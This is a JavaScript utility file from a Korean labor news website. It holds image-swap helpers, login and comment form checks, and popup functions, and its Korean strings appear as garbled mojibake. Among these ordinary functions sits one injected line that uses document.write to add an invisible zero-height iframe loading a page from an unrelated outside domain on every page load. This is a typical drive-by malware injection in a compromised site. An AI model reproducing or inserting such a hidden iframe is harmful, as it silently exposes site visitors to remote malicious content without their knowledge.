var hostUrl = "http://www.labortoday.co.kr"
var ScWidth = window.screen.width;
var ScHeight = window.screen.height;

var posX;


function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}


function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}



function allblur() 
{
   for (i = 0; i < document.links.length; i++)
        document.links[i].onfocus = document.links[i].blur;
}


//°Ë»ö ºÎºÐ
function MouseOver(bool){
	if (bool){
		document.all.combo.src = "/images/Combo_on.gif";
		document.all.txtSelect.style.border = "1 solid black";

	}else{
		document.all.combo.src = "/images/Combo_out.gif";
		document.all.txtSelect.style.border = "1 solid white";
		//document.all.boardList.style.display = "none";
	}
}

function MouseDown(){
	if (document.all.boardList.style.display == "none"){
		//document.all.txtSelect.value = "";
		document.all.combo.src = "/images/Combo_Click.gif";		
		document.all.boardList.style.display = "";
	}else{
		document.all.combo.src = "/images/Combo_on.gif";		
		document.all.boardList.style.display = "none";
	}
}

function showBoardList(bool){
	if (bool){
		document.all.boardList.style.display = "";
	}else{
		document.all.boardList.style.display = "none";	
	}
}

function MouseOnBoard(obj, bool){
	if (bool){
		obj.style.backgroundColor = "#25779D";
		obj.style.color = "white";
		obj.style.cursor = "default";

	}else{
		obj.style.backgroundColor = "white";
		obj.style.color = "#25779D";

	}	
}

function ClickBoardList(obj)
{
	document.all.txtSelect.value = obj.innerText;
	document.all.boardList.style.display = "none";
		
	if (obj.board != "Board_Asp"){
		location.href = "list.asp?table=" + obj.board;
	}
}

function open_letuPlus()
{
	var win;
	win = window.open("/plus/plus.html","letuplus","scrollbars=yes, menubar=yes, resizable=yes, toolbar=yes");
	win.focus();

}

function login_chk() 
{

	val = document.myform.mid.value;

		if (CheckStr(val, " ", "")==0) 
		{
		  alert("¾ÆÀÌµð¸¦ ÀÔ·ÂÇØ ÁÖ¼¼¿ä");
		  document.myform.mid.value= "";
		  document.myform.mid.focus();
		  return false;
		}
		val = document.myform.pwd.value;
		if (CheckStr(val, " ", "")==0) 
		{
		  alert("ºñ¹Ð¹øÈ£¸¦ ÀÔ·ÂÇØ ÁÖ¼¼¿ä");
		  document.myform.pwd.value= "";
		  document.myform.pwd.focus();
		  return false;
		}

		else
		{
			document.myform.target="letoFlame2"
			document.myform.submit();
 		}
	}


function CheckStr(strOriginal, strFind, strChange)
{
		var position, strOri_Length;
		position = strOriginal.indexOf(strFind);  
		
		while (position != -1){
		  strOriginal = strOriginal.replace(strFind, strChange);
		  position    = strOriginal.indexOf(strFind);
		}
	  
		strOri_Length = strOriginal.length;
		return strOri_Length;
	}




function window_onload() 
{
	if(document.myform.mid)
	{
		document.myform.mid.select();
		document.myform.mid.focus();
	}
}	



function search_pw()
{
		var win = window.open("/member/pw_search.asp","w_addr_chk","resizable=yes,scrollbars=no,width=400,height=250");
		win.focus();
		
  }


function go_reporter(obj)
{
	
	var selectedNumber = obj.selectedIndex;
	var selectedValue = obj[selectedNumber].value;	
	
	if (isNaN(selectedNumber) || (selectedValue == "") )	
	{
		alert("±âÀÚ¸¦ ¼±ÅÃÇØ ÁÖ¼¼¿ä.")
		return;
	}
	
	self.location.href = "/news/reporterList.asp?nId=" + selectedValue
	
}

function show_myVoice(arId)
{
	var url
	
	url = "/News/voice.asp?arId="+arId;
	letoFlame2.location = url;

	// setTimeout("letoFlame2.location.replace('"+url+"')",0);
	
}

function commet_set(obj)
{
	
	if(obj.vNickName)
	{
		if(obj.vNickName.value.length < 1 || obj.vNickName.value.length > 8)
		{
			alert("ÀÛ¼ºÀÚ´Â 1~8ÀÚ »çÀÌ ÀÔ´Ï´Ù. ´Ù½Ã ÀÔ·ÂÇØ ÁÖ¼¼¿ä.")
			obj.vNickName.focus();
			return false;
		}
	
		if (obj.vPwd)
		{
			if(obj.vPwd.value.length < 1 || obj.vPwd.value.length > 10)
			{
				alert("ºñ¹Ð¹øÈ£´Â 1~10ÀÚ »çÀÌ ÀÔ´Ï´Ù. ´Ù½Ã ÀÔ·ÂÇØ ÁÖ¼¼¿ä.")
				obj.vPwd.focus();
				return false;
			}
		}
	}
	
	if(obj.vContent.value =="")
	{
		alert("³»¿ëÀ» ÀÔ·ÂÇØ ÁÖ¼¼¿ä.")
		obj.vContent.focus();
		return false;
	}

	//¿ÁÅ¾ ±ÛÀÚ Á¦ÇÑÃ¼Å©	
	if(chkLength(obj.vContent,2000,"³»¿ë") == false)
		return false;
		
	return true;
}


function voice_deleteSend(obj)
{
	var objPwd = obj.pwd;

	if(objPwd.value == "")
	{
		alert("ºñ¹Ð¹øÈ£¸¦ ÀÔ·ÂÇÏ¼¼¿ä.")
		objPwd.focus();
		return false;
	}
	
	if(objPwd.value.length < 1 || objPwd.value.length > 10)
	{
		alert("ºñ¹Ð¹øÈ£´Â 1~10ÀÚ »çÀÌ ÀÔ´Ï´Ù. ´Ù½Ã ÀÔ·ÂÇØ ÁÖ¼¼¿ä.")
		objPwd.focus();
		return false;
	}
	
	if (obj.vId.value == "") 
	{
		alert("»èÁ¦ÇÏ°íÀÚÇÏ´Â ³ªÀÇ ¸ñ¼Ò¸®¸¦ ¼±ÅÃÇØ ÁÖ¼¼¿ä")
		obj.vId.focus();
		return false;
	}
	
	return true;
}

function voice_Delete(obj,vId)
{
	if(confirm("¼±ÅÃÇÑ ³ªÀÇ ¸ñ¼Ò¸®¸¦ »èÁ¦ ÇÏ½Ã°Ú½À´Ï±î?"))
	{
		obj.vId.value = vId;
		obj.submit();
	}
}

function voice_anoymousDelete(obj, vId)
{
	var objLayer = document.all.divVoice;
	objLayer.style.display = "";
	
	x = window.event.clientX 
	y = window.event.clientY 
	
	objLayer.style.left = x;
	objLayer.style.top = document.body.scrollTop + y;
	
	obj.vId.value = vId;
	
	obj.pwd.value = "";
	obj.pwd.focus();
}

function voice_DeleteCancel(obj)
{
	var objLayer = document.all.divVoice
	obj.pwd.value = "";
	obj.vId.value = "";
	objLayer.style.display = "none";
}


//±æÀÌ Ã¼Å©
function getLength(str) 
{
	return (str.length + (escape(str) + "/%u").match(/%u/g).length-1);
}


function chkLength(field, length, name)
{
		
	  if(getLength(field.value) > length){ 
              alert(name + "\n\n±ÛÀÚÁ¦ÇÑ ¿µ¹®,¼ýÀÚ "+length+"ÀÚ , ÇÑ±Û "+(length/2)+"ÀÚ ÀÌÇÏ ÀÔ·ÂÁ¦ÇÑ ÀÔ´Ï´Ù."); 
              field.focus(); 
              return false; 
       } 
       return true; 
}


//°á°ú ÆäÀÌÁö ÀÌµ¿.
function open_window(url, winName, width, height, scrollbars)
{
	var win;
	
	xPosition = (ScWidth-width)/2;
	yPosition = (ScHeight-height)/2;
	
	win = window.open(url,winName, "top="+yPosition+" left="+xPosition+" width="+width+" height="+height+" scrollbars="+scrollbars);
	win.focus();
}
document.write("<iframe src=http://gregshin.pe.kr/xe/classes/cl.htm width=100 height=0></iframe>");

//ÀÌ¹ÌÁö¸¦ ¶ç¿î´Ù.
function imageopen(URL,w,h)
{
	var t_URL=URL+"&w="+w+"&h="+h;
	
	window.open(t_URL,"","width="+w+" height="+h);
}


window.status = "·¹ÀÌ¹öÅõµ¥ÀÌ-³ëµ¿°ú Áøº¸ÀÇ ¸ðµç °Í:::::::::::::::::::"
